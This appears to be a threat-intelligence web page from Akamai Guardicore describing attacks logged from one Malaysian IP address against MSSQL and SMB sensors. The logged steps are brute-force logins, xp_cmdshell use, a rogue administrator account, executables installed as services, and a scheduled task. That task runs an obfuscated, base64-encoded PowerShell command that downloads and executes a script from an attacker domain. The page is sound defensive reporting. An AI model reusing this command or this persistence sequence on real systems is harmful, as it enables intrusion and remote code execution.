Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 202.58.91.83Previously Malicious

IP Address: 202.58.91.83Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Listening MSSQL Execute MsSql Shell Command User Created Service Deletion Download and Execute CMD Scheduled Task Creation MSSQL Brute Force Download File Service Stop Service Start Service Creation SMB Brute Force SMB Successful SMB Login File Operation By CMD Successful MSSQL Login User Removed SMB Null Session Login IDS - Attempted User Privilege Gain User Added to Group

Associated Attack Servers

parklogic.com w.beahh.com

72.52.178.23 196.219.95.172

Basic Information

IP Address

202.58.91.83

Domain

-

ISP

Universiti Teknologi MARA

Country

Malaysia

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2018-12-02

Last seen in Akamai Guardicore Segmentation

2022-12-23

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

MSSQL executed 3 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB 2 times

User Added to Group User Created Successful SMB Login

C:\Windows\rSRjCiXV.exe was downloaded

Download File

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

Process netsvcs Service Group started listening on ports: 65533

Listening

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 2 times

MSSQL Brute Force Successful MSSQL Login

c:\windows\system32\services.exe installed and started %systemroot%\vwsrtzgq.exe as a service named tsRr under service group None

Service Start Service Creation

The file C:\Windows\VwSRtZGQ.exe was downloaded and executed

Download and Execute

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password (Part of a Brute Force Attempt) 4 times

SMB Brute Force Successful SMB Login

c:\windows\system32\services.exe installed and started %systemroot%\gpofdchk.exe as a service named fHaT under service group None

Service Start Service Creation

The file C:\Windows\GPoFDcHK.exe was downloaded and executed

Download and Execute

C:\Windows\Temp\tmp.vbs was downloaded

Download File

Connection was closed due to timeout

Service fHaT was stopped

Service Stop